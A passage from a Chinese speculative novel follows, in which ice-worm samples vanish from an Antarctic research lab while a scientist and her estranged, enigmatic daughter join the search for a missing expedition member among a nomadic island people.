“有吗?”
“这个……”
其中一个同事扶了下眼镜,有些不好意思地说道:“有件奇怪的事情。”
“什么奇怪的事情?”
另一个马尾辫同事放下手中的钢笔,接过话头,“会不会是他们送来的样本有问题?”
趴在桌上写报告的黄毛衣同事摇了摇头,“不可能,刚才小鸿做实验的时候还在呢,应该就是弄丢了。”
“奇了怪了,怎么好端端就不见了。”马尾辫同事郁闷地在实验室里走来走去。
屠启看向第一个说话的眼睛同事,对方抱歉地笑了笑,说道:“刚刚送来的样本,全部都不见了。”
接下来的几周里,同样的事件在实验室里频频发生,刚刚送来的冰虫样本不是在冷冻装置里消失,就是在显微镜底下失踪,就连研究人员们正在进行切片时,哪怕只要眨了一下眼睛,手底下的样本就会一下子消失不见。
屠启和手下的队员们百思不得其解,她及时叫人拦住了屠一鸿前往食堂进行午餐的计划,下令将食堂后厨搜了好几遍,成功发现了一些发芽的土豆和没来及下厨的生豆角。
但在清理掉所有可能的群体致幻物后,冰虫神秘失踪的事情仍在接二连三地发生。
事情传到研究所上层,尚今安派了一批技术人员过来,连夜在实验室各处安装了监控摄像头,试图搜查出可疑的小偷。
新一天清晨,实验室里,屠启正在擦拭试管,眼镜同事推门走进来。
她凑到屠启面前,双手撑着桌子,严肃地说道:“我觉得,我们应该换个实验室。”
“不觉得很诡异吗,我现在可是每天睡足十二个小时,样本却还是照样消失,肯定是实验室有问题!”
眼镜同事的眼睛看起来确实明亮极了,她精神抖擞地在实验室里走来走去,嘴里开始抱怨着自己重复做了多少多少遍实验……
屠启笑了笑,当是撒气,什么也没说。
不一会儿,同事们都陆陆续续地来了,三三两两地聊了几句,各自都开始做自己的实验项目。
但放眼望去,每个人眼底都隐隐透出些迷茫和无措——她们不确定手底下的冰虫是否会在某一个瞬间,再一次消失。
研究所里数百个实验室,每个实验室在每个月月末必须拿出可观具体的数据,但很明显,这个月她们做不到。
八点的时候,屠启脱下白大褂,打算去接杯水喝。
她走出隔离间,穿过周围各自忙碌着的同事们,在喝水的空闲里环视了一圈众人,以往那个熟悉的角落里空空荡荡——屠一鸿今天居然没来!
怎么回事?
这是件格外严肃的事情,她必须亲自出面进行教育。
她皱起眉头,放下水杯,第一次亲自给屠一鸿发消息。
点击发送那个看起来有些陌生的号码,她站在原地等了约十分钟左右,没有等到回复。
她想了想,打了个电话过去,但那头只传来冰冷的忙音。
心中的责备渐渐变成了担忧,屠启匆匆跟同事打了个招呼,快步走出实验室,向宿舍的方向跑去。
“叮——咚——”
“叮——咚——”
门铃声接连被按响了好几次,屠启又敲了几次门,门内静悄悄的,毫无动静。
正当她开始打算打电话叫人过来时,门突然被悄悄打开,露出一点缝隙,她放下电话看过去,里面的房间没开灯,黑漆漆的一片。
少女躲在里面静静地看着她,空出的右手拎着一个冷冻装置。
她皱起眉头,语气严厉了很多,“你在里面干什么?”
少女摇了摇头,将门打开一点点,让她进来,自己向房间深处退去。
屠启心中的疑惑和担忧越发深沉,她推开门走进去,房间里的黑暗如潮水般涌来,除了几件大家具隐隐约约的轮廓,什么也看不见。
清脆的啪的一声,少女打开灯,房间里目之所及皆是纯白的一片——一张床,一扇窗,一张桌子,和一座不大不小的置物柜,上面摆着药品、书本、衣物……这些就是陪伴屠一鸿生活了十七岁的一切。
“你看,”屠一鸿将冷冻装置放在桌上,桌面发出一声沉重的闷响。
她一边输入开启的密码,一边说:“这是我今天早上从他们那边直接拿过来的。”
屠启皱着眉走过去,向装置里面瞧去。
只见屠一鸿小心翼翼地地拿出里面的冷冻罐,开始输最后一道密码,屠启张了张口,正想提醒她不要在实验室以外的地方拿出冰虫,但在这种时候还是勉强忍住。
屠一鸿就这样直接将冷冻罐打开,里面空荡荡的,什么也没有。
冰虫再一次消失了。
屠启慢慢地把视线收回来,目光转移向屠一鸿的脸,冷冷地问道:“所以呢,你想说什么?”
“那边,是我今天早上七点打开的。”
屠一鸿站在原地,指向房间的角落——那边放着两个早已经开过的冷冻罐,看起来里面也是什么也没有。
“我不是很明白—
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—”
“冰虫不是被偷走的,也不是自己逃走的。”
作为一名严谨的科研人员,屠启是鲜少听到有人敢于在她面前发出这样狂妄的断言的。
她瞪大眼睛,又惊又怒地看向屠一鸿,后者脸上的神情如一池平静的湖水,那双干净澄澈的眼睛,视线静静地穿过她,直直地望向她身后很远很远的地方。
“它们是被某种力量悄悄带走的,就像它们降临到这片土地上一样。”
……
屠启回到宿舍时已经是深夜,她脱下外套,躺在床上,已经没了胃口去吃食堂送来的夜宵,困倦的脑海中不断盘旋着早上屠一鸿说过的那些胡话。
“只要我们在观测的过程中,它们就不会波动,但现在,它已经没了足够的力量去继续它的欺瞒,又或许这并非故意,只是它的本质所致。”
“接下来,会有更多的东西在我们看不见的地方继续发生变化,但只要我们看见了,并加以自我定义的理解,它们就会稳定下来,又在其他不可知的领域继续发生波动。”
“我们永远无法观测到背后的真相,因为世界一直在被创造,无休止的定义解决不了持续的变化,所谓的循环不过是永无止境的直线。”
……
“真理,是造物主的谎言。”
屠启喃喃着屠一鸿最后留下的这句话。
清晨那场谈话的结果是,她将屠一鸿严厉地批评了一顿,并以明天两个小时的加班加课作为惩罚。
腹中渐觉得有些饥饿,她揉着太阳穴,从床上慢慢坐起身,走到客厅里接了杯水喝。
老实说,她当初之所以会去做试管,是因为在年近四十后,某一晚睡前躺在床上时心中突然生出的,对晚年一个人凄凉死去的恐惧,从而做出的一时冲动之举。
她本以为那会是个可爱的孩子,能够给自己的生活带来一些惊喜的点缀,但事情的从一开始起就出乎她的意料——育儿所发来胎儿的分析报告,白血病,先天发育不良。
研究所传来报告的那一晚,她正在办公室里熬夜写实验报告,她们告诉她,培养仓里属于她的那个孩子要提前出舱了,时间比预想中早了一个多月。
无奈于那段时间实在公事繁忙,她请了几个同事去接纳那个新生儿,而自己则继续接下来两个月的出差行程。
两个月后她回来,看着育儿机器人助手怀中睡着的孩子,心中的期待早已被旅途中漫长的疲惫所替代,变成了手足无措和陌生。
有的时候,看着屠一鸿藏匿在实验室角落里的单薄的背影,她会忍不住想,如果当初自己没有使用培养仓,而是使用自己的子宫来孕育这个孩子,现在她们之间的感情会不会更坦诚一些?
过去的事情已经过去了,事到如今,那个孩子已经成长为了她一点也不了解的样子。
老实说,她有时候甚至有些……怕她。
夜已深了,而她辗转反侧,一夜未眠。
第二天一早,屠启脸上挂着黑眼圈来到实验室,继续之前的实验项目。
当她开始在切片上滴碘液的时候,意料之中的,刚刚备好的样本又消失了。
她沉默了两秒,慢慢放下手中的滴管,开始重新收拾清洗实验器材。
一个小时后,她脱下白大褂,走出隔离间,向办公与数据处理区走去,几个比她提前半个小时左右遭遇同样灾祸的同事聚在一旁,正在鼓捣着些什么。
屠启泡了杯速溶咖啡,端着杯子走过去,“你们在弄什么?”
“上上个世纪的老古董!”马尾辫同事脸上露出神秘的微笑,让出了身位。
屠启顺着走进人群包围中,看见桌上的那台灰色的机器,心中了然,“3D打印机?”
“是的,看我刚刚打印出来的!”戴眼镜同事兴冲冲地拿起机器下方放置平台上的红色不明物体,周围的同事包括屠启在内,都好奇地围了过去。
戴眼镜同事将外围多余的塑料小心翼翼地剥开,露出里面的……萝卜。
“这是可伸缩的!”
戴眼镜同事自豪地抬起下巴,像拉手风琴一样拉着塑料萝卜,“我打算这几天给它弄个发声装置,到时候给育儿所的小孩玩!”
周围的同事都哄笑起来,三三两两地聊起育儿所的事情。
因为一切技术都在这里自由流通,所以世界生命研究所是唯一设立了女性自主生育机构的人类机构。
女人们一般将自己的卵子冷冻在育儿所里,当她们想要孩子的时候,就会申请启动联合城邦那边的配子库,将成功发育的胚胎交给育儿机器人抚养。
因为代价实在是非常小,所以这里几乎所有的女人都养了几个孩子。
屠启笑着摇了摇头,在人群议论声中独自走开了。
虽然刚才的实验失败了,但这不是她可以停下来和众人聚在一起聊天的借口。
或许,她真的应该去找尚今安,申请换一间实验室。
……
一望无际的苍穹,一望无际的冰原,寒冷的太阳永不落下,在地平线那头浮出半个,神圣的光辉照耀着她。
寒风刮过连绵的雪地,扬起纷纷扬扬的雪粒扑在她身上,反射强烈天光的、那刺眼的目的地中心,并非更辽阔的雪原,而是世界尽头的失落之城。
地面深厚的积雪已经埋没过双膝,她半匍跪在雪地上,身后抛下的金属雪杖顷刻间被风雪掩埋。
她缓缓闭上眼睛,用尽浑身最后一点力气合上双掌,向那枚缓缓流转的凝星祈祷。
“求您庇佑我们的文明,给我们重来一次的机会……”
转瞬间,朝圣者那高贵的身躯便被风雪埋葬。
78.徘徊于世界的边缘
“叮铃——叮铃——”
床头柜的闹钟响起,屠启迷迷糊糊地睁开眼睛,循着声音翻了个身,伸出右手摸索着将闹钟关上。
翻回身体,她平躺在床上,打了个长长的哈欠。
真是奇怪,明明已经半个月都没有加班了,身体却似乎比以前更嗜睡。
这大概就是人老了的特征吧。
屠启接着躺了约三分钟左右,还是在内心的自我斗争下慢吞吞地坐起身。
时间是早上六点整,玻璃窗外照进明亮的阳光,牙刷、洗脸巾、洁面乳……干净整洁的盥洗室里,所有的用具统统只有一人份。
她犹豫了一下,把脱到一半的棉外套重新披上。
这个季节,室内的空气还是有些寒冷。
洗漱完毕,卧室里的电话突然响起来,她捞起一块干毛巾匆匆擦了擦手,赶紧跑到卧室,“您好,我是屠启。”
电话那头传来沙哑的女人声音,“你负责的那块地方半个月前出了事,她们跟你说了吧?”
屠启心中一紧,握紧手机的手指关节微微泛白,“是,我听她们说过。”
“那边还没找到人,你们这段时间没有事情做的话,过去那边跟着他们看一下是怎么回事。”
“好,我过几天去跟他们……”
“今天下午就去!”
屠启呼吸一窒。
女人的声音严厉了很多,隐隐透着一丝责备,“早日把事情解决好,不要找那些多余的借口,不要老是让我教你们该怎么做……”
屠启手忙脚乱地应着,“是,是,我知道。”
“那我今天下午就去。”
她口中说出这句的时候,女人那头已经挂断了电话。
屠启慢慢松下一口气,才发现自己全身的肌肉不知何时绷得僵硬起来,肩胛骨两侧隐隐传来一阵酸痛。
时间紧,任务重,等会去食堂吃完早饭,就叫她们赶紧收拾东西,准备下午三点出发吧。
时间过得一阵儿慢一阵儿快,到了中午十二点的时候,屠启已经打点好行李,准备去食堂吃午饭。
今天的食堂有新一批的新鲜蔬果供应,因此来的人比平时多了些。
屠启自己打好一份蔬菜沙拉,正欲转身离开队伍时,突然感到袖口一紧,似乎是被什么东西勾住。
她回过头看去,对视上一双深邃而澄澈的眼睛,鬼魅般将她捉住。
她突然感到有些难以呼吸。
少女直勾勾地盯着她的眼睛,喉咙里发出的声音听不出情绪,“为什么不叫我去?”
屠启感到心中不受控制地生出几分窘迫,渐渐地变成了愤怒。
自己明明是个四十多岁的大人,却会总为这样一个病弱的女孩所困住。
难以置信……简直荒唐。
她皱起眉头,语气故意用得很重,冷冰冰地说道:“你应该清楚你自己的身体情况,不要给别人找多余的麻烦。”
“只会是别人给我带来麻烦。”
少女的两丸黑水银似的瞳仁底下沉沉地坠下去,化作两轮渊底的黑日。
她盯住屠启,一字一顿地说道:“你,绝不能怀疑我。”
众目睽睽之下,所有人看着这奇异的一幕——那对出名的母女一前一后站在食堂窗口面前,挡住了后面一大长串排队的人,年轻的一个死死拉住对方的衣袖,另一个年长些的一动不动站在原地,端着餐盘的样子看起来有些狼狈不堪。
周围响起人群窸窸窣窣的议论声,屠启感到自己身上扎满了四面八方射过来的目光,深入骨髓般地恶毒。
她握紧餐盘的指尖不自觉地颤抖起来,望着少女那张咄咄逼人却泰然自若的脸,她心中倏地生出一股逃跑的冲动。
“去收拾好你的东西。”
灵魂带着尊严逃走了一半,她张着嘴巴说完这句话,身体径直越过少女,将餐盘端给窗口站着的食堂阿姨,后者脸上的神情明显已经等得有些不耐烦。
“请您帮忙打包一下。”她脸上露出得体的微笑。
直到匆匆离开食堂前,她都没去看那片孤单一人落在原地的身影一眼。
……
时间很快到了下午三点,正午的阳光将空气烫得舒适了些,屠启拖着行李箱走出来,基地外的雪地上停着几辆来接应她们的极地科考车。
两个司机站在后备箱旁,一个瘦高个儿,一个肥壮胖,二人原本正吹牛吹得热火朝天,一看见她,就走过来跟她打招呼。
她脸上露出微笑,跟他们礼貌地客套了几句,不一会儿,几个同事也陆陆续续地到了,司机开始往车上搬一行人的行李。
她站在三三两两聊着天的同事堆里,总时不时地抽出心思,去瞥人群间的缝隙,寻找少女的身影。
不一会儿,屠一鸿确实也到了,她注意到她的行李很少,心中有些不确定她有没有带每天要吃的药,和换洗的衣物。
肥壮胖司机大踏步走到少女面前,炫技似地高举起那少得可怜的行李,一把抗在半个肩头,倒米袋似的扔进后备箱中,中气十足地高喊一声:“好嘞,各位,我们走咯!”
或许是那浑圆腰腹坦出的一团过于醒目,再配合上中年男人那副意气风发的神情,看起来着实有些滑稽,眼镜同事和其他几个女人忍不住笑了起来。
司机配合地笑了笑,大手一挥打开车门,一行人彼此打趣着,一个接一个地上了车。
瞥见屠一鸿坐上了另一辆车,确定是后座靠左边车窗的位置,她心中默念着,不易晕车的好地方,不露痕迹地上了肥壮胖司机的车。
按照原定行程,这趟车程一共要有三天,她们今天要去前面的基地里留宿一晚。
车开了一整天,屠启整个人在车厢里闷得又乏又倦,回过神来的时候,一只大手轻轻摇晃她的左肩,她迷迷糊糊睁开眼睛看过去,是那个肥壮胖的男人。
男人脸上露出打趣的笑容,口中说出的话却很贴心:“这一趟可不容易,好在咱赶上了食堂晚饭的趟儿!”
她看着那热情洋溢的笑容,心中突然闪过一阵恍惚。
如果她身边有这样一个壮实的男人,不论外表,其实那厚实的脂肪也很强壮,充满安全感又很风趣……她的生活是不是能变得有趣一些?
被自己瞬间的想法惊到,她慌忙移开视线,连连摆手道:“我没事,谢谢您。”
男人没再说什么,让开了身位,她扶着车边上的栏杆下了车,男人默默在她身后伸出一只手虚护着她。
鞋底踩到松软雪地的一瞬间,那冰冷的感觉反而让她身心放松了不少。
她回过头,礼貌地说道:“那我先走了,您也早些回去休息。”
男人豪爽一笑,点了点头,站在原地目送她走进基地的大门。
门上的识别器通过身份认证,她向门内走了几步,才想起来自己忘了问男人关于屠一鸿的事。
她回头望了外面一眼,心中着急起来,要是屠一鸿又因为什么原因跑落在外面怎么办?这种事情以前就常发生。
犹豫了几秒,她匆匆转身向外走去,打算追上那个司机,刚一抬脚,身后却传来仿佛来自噩梦般的声音:“找我吗?”
卡带一帧一帧倒放般,她慢慢回过头,再次被迫直视少女直勾勾的眼神。
少女的脸色苍白,两只手拎着一袋少得可怜的行李,单薄里衣外套着件肥大的外套,肩头的位置积了层融雪,布料透出不协调的、潮湿的深色,看起来是在外面等了她很久。
“我都看见了。”
屠启看见少女的嘴巴平静地一张一合,唇齿间断头台一样咔咔作响,咬在她心上深刻的齿痕——
“你真恶心。”
耳朵听到这句话的那一刻,她整个人像是被浸在了盐水地里,浓稠的喘不上气。
四肢末端成了锈迹斑斑的铁棒,在四周极寒的空气里冻结、收缩……扭曲成丑陋的一团。
她好像是一声不响回到宿舍的,也忘了是什么时候跟宿舍负责人沟通,是什么时候去吃的晚饭,又好像是没吃。
总之第二天早上醒来时,眼睛还在盐水地里冻得隐隐作痛。
接下来的两天里,她再没跟司机说过一句话。
最后的基地是她最熟悉的地方,艾利尔七号站,世界生命研究所建立的第七个南极科考站,因附近几座“艾利人”(游离于人类文明社会之外的高纬度地带少数人种)群居的小岛而得名,也是由她负责的科考基地。
眼镜同事和换了蓝毛衣的同事跟两个司机道了谢,一行人七手八脚地从车后备箱拎出自己的行李。
站在远离司机的角落里,屠启打了几个电话,叫了这里的几个下属过来帮忙。
待在自己的地方,果然就放松了很多,凡事心里都有底。
她挂断电话,心中暗暗松了一口气。
过了不久,一行人打点好行李,各自找到心仪的宿舍落了脚,屠启也装作什么也没发生的样子,一如既往叫了几个人给屠一鸿找了间向阳的单间住下。
“对了 ,稍等一下。”
忙了一天,屠启叫住办公室里正欲离开的助手。
“您请说。”助手一下子在屠启面前站得板正。
看着助手崇敬的眼神,屠启终于记起来那种胸有成竹的感觉。
没错,她是个专业的科考人员,独立生活的强大女性,在年仅四十三岁的年纪,领导着研究所里最富前景的项目之一。
或许那孩子说的是对的,对一个粗鄙的男人生出那种想法,实在太不体面。
心口渐渐变得温暖起来,她脸上重新露出微笑,沉声道:“给我讲讲这里出了什么事,那个失踪的人到底是什么来头?”
……
“姜、元、源。”
屠启坐在办公椅上,翻着助手这几天整理好的资料,口中默念着这个陌生的名字,她皱着眉若有所思,“她的同伴们现在怎么样了?”
“没有大碍,小杨已经将他们送回联合城邦了,能问出的事具细节都在这里。”
助手走上前,熟练地操作着办公桌上的屏幕,不一会儿,一旁的音箱开始播放审讯的录音。
屠启一边听,一边翻看资料,这个民间科考小队其实比她之前想象的平凡无奇得多。
资料显示,姜元源是来自联合城邦的上邦公民,在大学城里有过良好的受教育经历,在A1区的一家私营超市里工作了一年半后,通过高中部的同学介绍加入了启明星科考队,一行人在之后的两年里去了无人区不少地方。
这场南洋之旅是他们的第十三次旅行,目的是为了考察记录艾利人的风土习俗和南极的极昼特色。
实话说,这两项目的确实情有可原,这也是研究所通过他们进入申请的原因。
但也正是因为这一决定,造就了悲剧的发生。
据启明星小队的队长赵纯仁事后交代,他们在返回艾利群岛的路上一时兴起改变了行程,没有按照研究所给定的路线走,而是稍微往南侧偏离,向南极山脉东部的高地走去。
“因为我们看见了极光。”
赵纯仁当时这样解释道,“也可能不是,是白色的,像是把天戳了一个洞,特别特别亮,在雪山尖的
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那一头露出来,我们当时都想去看看。”
另一个队员则是这样说的,她自称是最后一个看见姜元源的目击证人,“元源当时特别激动,跟我们说就去那边走几百米,看不见到底是什么就算了,再加上其他人也很好奇,所以我们稍微商量了一下就去了。”
“对不起,对不起,我们会坐牢吗?”另一个队员则一直这样说,一边说一边哭了很久,基本上问不出什么有用的信息。
翻过口供文稿的部分,屠启看向整个事件的过程总结——
一队民间科考队伍在进入艾利尔七号站后,在返回基地的过程中偏离了路线,途中遭遇了局部区域的暴风雪。
事后,小队成员里三人幸存,两人死亡,五人受伤,其中三人伤势较重,两人伤势较轻,此外一名队员意外走失。
屠启慢慢放下资料,心中感到一阵遗憾,无论如何,离事件发生已经过去了半个多月,姜元源多半已经不幸遇害了。
不,是一定已经遇害。
她站起身,将资料交还给助手,淡淡地说道:“每天派几个人去附近搜查几小时,这个月底把结果通知给联合城邦。”
助手看出了屠启的心思,以往干练的举止今天却显得犹豫不决。
她小心翼翼地凑上前,低声说道:“可是,前几天小杨她们发来通知,在离基地不远的地方发现了姜元源的随身物品。”
闻言,屠启惊颚地看了一眼助手。
接下来的小半个月,搜查行动因此得以继续下去,实验室的所有人跟着杨心研去姜元源失事的地方看了几次,没探查出什么究竟来。
屠启因为很长时间没来这边,堆积了一大堆事务,自己忙得不可开交,最后只有眼镜同事和屠一鸿留在了杨心研的队伍里。
一个深夜,眼镜同事悄悄来到屠一鸿门前,送来两罐蓝莓酱。
“自制的,纯天然无污染,放心吃!”
眼镜同事笑了笑,伸出一只手,怜爱地揉了揉少女的发顶,“我叫梅知里,以后有事情可以找我帮忙!”
此后,二人一同去杨心研的的办公所里看了收集来的证据。
杨心研告诉她们,即使已经在姜元源失踪的地方发现了部分私人物品,但目前仍然不能完全表明她还活着,因为没有在附近发现人为生活的痕迹。
“可能是外来的登山客,或者附近的艾利人偷走了死者的私人物品,在看到我们发出的寻人启事后又悄悄丢在附近。”
杨心研说着,将姜元源的身份证放回台上。
她转过身,微笑着看向二人,眼底透出温柔的鼓励。
“不过,我们还是要尽力去寻找,作为搜救人员,起码要给失事者家属一个完整的交代。”
三天后,梅知里和屠一鸿即将跟着杨心研一行人准备前往艾利群岛走访调查。
临行前,屠一鸿去找了屠启。
但她只是站在办公室外面,两只眼睛静静地盯着里面的人看。
屠启原本在看资料,被这眼神一打量,只觉得浑身难耐,好像在蚂蚁在背上爬来爬去。
她看向办公室门外的人,口气尽量放得漫不经心,“明天就走了?”
“嗯。”少女低低地应了一声,像是在自言自语。
“这样,”屠启微微点了点头,“一路顺风,注意按时吃药,尽量不要太麻烦你梅阿姨她们……”
她话音刚落,少女的身体突然古怪地颤抖了一下,藏在黑色刘海下的瞳仁微微张大,猛地抬起头直直地望向她。
屠启被看得心中一阵发怵,她说错了什么吗?
下一秒,少女突然冲进办公室,将她桌上的资料撕得粉碎,又将电脑和水杯推下桌子。
纷纷扬扬的纸屑飘落下来,像下了一场悲伤的雪。
混乱中,她看见少女愤怒的脸,大脑顿时一片空白。
破坏的声音引起办公室外人的注意,助手慌张地跑进来,看见少女正在肆意破坏的一幕。
一时间不知道该怎么做,助手本能地看向屠启,后者则保持着沉默站在原地。
良久,少女似乎是打砸得累了,终于停了手。
她低下头喘着粗气,双臂撑在办公桌上,脚边堆满了被扯断的电线和废纸。
见母女二人还不说话,助手磕磕巴巴地开了口,“怎么了这是?”
屠启静止的身体惊醒般动了一下,像是站在原地睡了一觉。
略过面前的少女,她径直看向助手,平静地说道:“没事,你去隔壁把资料重新打印一份。”
助手忙应了一声,逃也似地离开了。
屠启突然听到面前的少女笑了起来。
她垂下视线看过去,望进少女饱含笑意的眼睛,那里面藏着坠入深渊般的、可怕的欢愉。
她从其中看见自己的倒影,一个将自己紧紧蜷缩起来的,□□被幼崽撕裂得流血的可怜猎物。
恐惧和母爱在那颗狂跳的心脏里挣扎,她终于明白这就是她真正要吃的东西——幼崽要吃到母亲的血肉才算满足。
獠牙初长成的幼崽,离开母亲怀中后,接下来又要去何处捕猎?
“对了,就是这样。”
少女脸上露出微笑,慢慢地直起身子,站在原地看着她。
屠启喉头滚动了一下,眼眶突然有些酸涩,她不知道自己是不是想哭。
突然,少女绕过桌子,张开双臂将她紧紧抱住。
“屠启,等我回来。”
她听到少女在她耳边轻声道。
事到如今,她还能做些什么呢?
“好。”
79.向未知的彼端走去
三天后,杨心妍带领的搜救队伍正式出发。
一路漂洋过海,在轮船上坐了一天一夜,又搭了趟附近别的基地的顺风车,一行人成功通关进入艾利群岛的边陲领域。
今天早上,她们就要去群岛当地土著居民最多的地方——松松堡,做采访调查。
“松松堡?”
梅知里收拾着背包里的东西,听到这名字忍不住笑了一声。
屠一鸿背上背包,看了一眼手腕上的识别器。
“是音译,在艾利人的语言里,直译过来的意思是“雪松很多的地方”。”
“哦~原来如此!”
把伸缩塑料萝卜用力塞进背包里最后的一点空间,梅知里把背包甩到背上,认真地点了点头。
“听起来是当地人群居过冬,或者进行交易的传统集市。”
“是这样。”
收拾完毕,二人登上杨心妍停在门外的雪橇车,一路向松松堡驶去。
来到地方,杨心妍率先下了车,去附近最近的一所人家户外敲门求宿。
面对生性排外的艾利人,这个要求可能比较艰难,不出所料吃了闭门羹,杨心妍只能一家挨一家地试。
几个队员连同梅知里也下车前去帮忙,屠一鸿孤零零地坐在四面露天的雪橇车上,开始观察四周来来往往的当地人。
这里看起来是一处非常原始的人类群居交易集市,甚至没有像样的街道,几十户用兽皮和雪松木搭成的帐篷互相邻靠,便利相近的软件人家进行以物易物的交易。
艾利人没有固定的居所,恶劣的生存环境和极端的季节变换使得他们成为了以家庭为单位的游牧民族,只有在南洋处在极昼的这段时间才会暂时彼此接触。
屠一鸿正在仔细观察着人们身上穿的海豹兽皮衣,突然察觉到暗处的一道视线,她用余光不动声色地瞟过去一眼,是一个头发乱糟糟的小孩,一边吃着手指,一边直勾勾地盯着她。
判断出这目光里没有威胁的成分,她慢慢地将脸转过来,直视看向那个小孩。
小孩还在吃手指,两只黑洞似的眼睛好像要把她吸进去。
屠一鸿略微思考了一下,看了一眼还在坚持着寻找今晚住宿人家的队员们,心中慢慢打定一个主意。
她站起身,走下雪橇车,径直走向那个小孩。
小孩也不跑,就这样看着眼前这个陌生的少女向他走来,在他面前蹲下,从口袋里掏出……一颗糖。
少女脸上露出温柔的一抹笑,声音比雪山上流下来的河水更清冽甘甜,“吃吗?”
小孩看起来似乎是被这突如其来的善意吓住。
又或者……不是被吓住?
他愣了一下,突然一把从少女手中抓过糖,猛地转身向后冲去!
但少女的反应更快,她迅速向前扑去,伸出双手死死抓住他的肩头,二人倒在地上的一瞬间,屠一鸿听到前面帐篷里冲出来一阵凌乱的脚步声。
小孩脸朝下被她压在身下,她抬起半个头,看见刺眼的冬日阳光下,一个老女人逆着光向她跑过来,耳边传来艾利人特有语言愤怒的咒骂声。
距离近了,老女人开始指着她的鼻子吐唾沫星子,伸出手拉扯她身下的小孩,但她双手铁钳一般,死死抓住身下的人,一动不动。
周围的人纷纷因为这一场小小的骚动看了过来,几个队员大惊失色地向这边跑过来。
屠一鸿抬起头,看着女人,用有些夹生的艾利人语言冷冷地说道:“他和我做了交易。”
老女人愣了一下,枯树干似的脸紧紧地扭曲起来,伸出指甲足有十厘米长的食指怼着屠一鸿的心口指指点点,伴随以更激烈的辱骂声。
屠一鸿平静地听了一会儿,她学着老女人的样子,右手伸出食指指向老女人的心口,不紧不慢地说了两个字:“小偷。”
老女人的脸霎时变得一片惨白。
她哆嗦着手指,战战兢兢地看向周围的人。
听到屠一鸿指控的一瞬间,几乎所有围观的艾利人都露出惊恐或警惕的眼神,像是听到恶咒一样纷纷转身关上房门。
这就是游牧民族的习性,没有稳定的社群联系和利益关系,自然也没有相互信任的基础。
她人即狼群,这句话在艾利人的每个家庭里代代相传。
“我们想借宿。”
屠一鸿站起身,拍了拍沾了草屑的手,小孩立刻哭哭啼啼地爬起来,躲到老女人身后。
她看了一眼周围人群里有些不知所措的队员们,又看向面前紧紧搂住小孩的老女人。
“期间物资供应可由我们自己负责,非常感谢您的帮助。”
老女人抬起头,瞪了她一眼。
她脸上露出一抹温柔的微笑。
住宿的事情终于有了着落,杨心妍在老女人家里谦虚地找了四个最小的帐篷住下,每个帐篷挤着睡三个人,空间刚刚好。
“乌苏家只有她和她的孙子相依为命,我们最好不要太过麻烦她们,能力范围之内能自足就行。”
杨心妍看着集结完毕的队员们,郑重地点了点头。
“好了,接下来该开始走访了。”
分发下走访的调查问卷和小组名单,杨心妍带着队员们临走前,以今晚留在这里做饭的名义留住了屠一鸿。
听起来是个有理有据的借口,但屠一鸿心里知道,这是屠启长期向周围人宣扬的后果——发育不良的残次品,天生病弱的短命鬼,会拖后腿的……废物。
她站在原地,双手插兜沉默不语,算是应下。
杨心妍嘱咐好梅知里记得早点回来帮屠一鸿弄晚餐后,就放心地带着人走了,而梅知里也主动向屠一鸿要了买菜的清单,帮她接过了一会买菜回来的任务。
梅知里回来后她才能做饭,那么接下来的三四个小时,她是没有什么正事做了。
或者说……现在才终于可以做正事。
屠一鸿在帐篷里重新整理了一遍自己的地铺,听到身后有什么动静,她蹲在地上,回头看去。
又是那个小孩,藏在帐篷帘子外面遮遮掩掩地看着她。
一见她发现了自己,小孩身体微微颤抖了起来,但却没有跑,只是往旁边的帘子里躲了几步,小心翼翼地瞟着她。
看着小孩的眼神,屠一鸿回忆里的某些场景渐渐浮现。
熟悉的眼神,是幼时那些围绕在她身边的男孩,眼睛里藏着的那种自以为是的恶趣味。
但这种时候,无关紧要的人的意见,不值得她花心思去关注。
起码她这个年纪的人,面对小孩有足够的力气和手段。
她从容地站起身,拍了拍衣襟,转身走向小孩,漫不经心地问道:“乌苏呢?”
看见她和自己说话,小孩眼睛亮了亮,带着口水有些口齿不清的声音回答道:“在乌苏睡觉的毯子上。”
“……带我去看看。”
小孩这次出乎意料地很听话,套着肥厚裤子的两条小短腿噔噔地带着她跑到另一个大一些的帐篷,又短又粗的手指往里面指。
屠一鸿看了小孩一眼,他脸上挂着一副憨实又童稚的笑容,牙还没长全的嘴巴里淌着口水。
她径直拉开帐篷进去了。
一掀开帘子,一阵温暖的气息扑面而来,房间中央堆着火堆,燃烧的雪松木柴发出噼啪声,帐篷里弥漫着淡淡的松香气味。
忽明忽暗的火光映红了帐篷里散乱的陈设,地铺、木头矮凳、木桌、铁罐……照亮毯子上坐着的乌苏拉拉惊恐的脸。
屠一鸿看见乌苏拉拉两只鼓鼓囊囊的眼睛瞪着自己,薄薄的两片嘴皮拉锯般扯了起来,口中发出恶毒又愤怒的咒骂声。
视线从那张扭曲的脸上逐渐转移到乌苏拉拉手中捧着的那卷破破烂烂的兽皮书卷上,她旁若无人地走过去,坐到乌苏拉拉身边。
“你在看什么?”她把脸凑过去。
乌苏拉拉愣了一下,迅速把书卷收进怀中,紧了紧身上的兽皮毯子,防小偷一样的眼神盯着屠一鸿。
没看到内容,屠一鸿坐正身体,平静地直视乌苏拉拉的眼睛。
“有个异乡人在雪山失踪了,你有什么线索吗?”
意料之外的话语,似乎是联想到自己女儿和女婿的死因,乌苏拉拉的眼神里透出一点悲伤的情绪。
屠一鸿把身子转了一下,火光映红了她的半边脸庞,她脱下手套,一边烤火,一边接着说道:“她的家在离这里很远很远的地方,她的父母都很想她。”
“我们来这里不为了侵略和征服,只希望能带她回家,哪怕是一具冰冷的尸体。”
乌苏拉拉在内心争斗了一会儿,抱紧兽皮书卷的手慢慢放松下来。
屠一鸿将乌苏拉拉的反应全暗自看在眼里,她沉默不语,她在等。
老实说,她不觉得靠那种自以为是的和平手段能在如此排外的地方问到些什么,暴力既然是人为天生拥有的手段,那该得用的时候就得用。
那份寥寥无几的希望就交给杨心妍她们,她有自己做事的方法。
良久,乌苏拉拉终于开口了。
她紧皱着眉打开兽皮书卷,迅速翻动着书页,口中念念有词。
因为语速过快,屠一鸿有些听不清,她试着打开翻译器,恰巧这时乌苏拉拉翻到了想要的那页。
她翻开其中一页,指着其中的内容,激动地对着屠一鸿说着些什么。
屠一鸿眯着眼睛,一边艰难地辨识着书卷上半生不熟的文字,一边低下头去看翻译器上翻译出的乌苏拉拉说的话。
“……阿比克的功绩……神,风暴卷去……邪恶的异端,窥视……天外巨人!”
“雪山的山尖……失踪十个艾利人,抓走了信徒……”
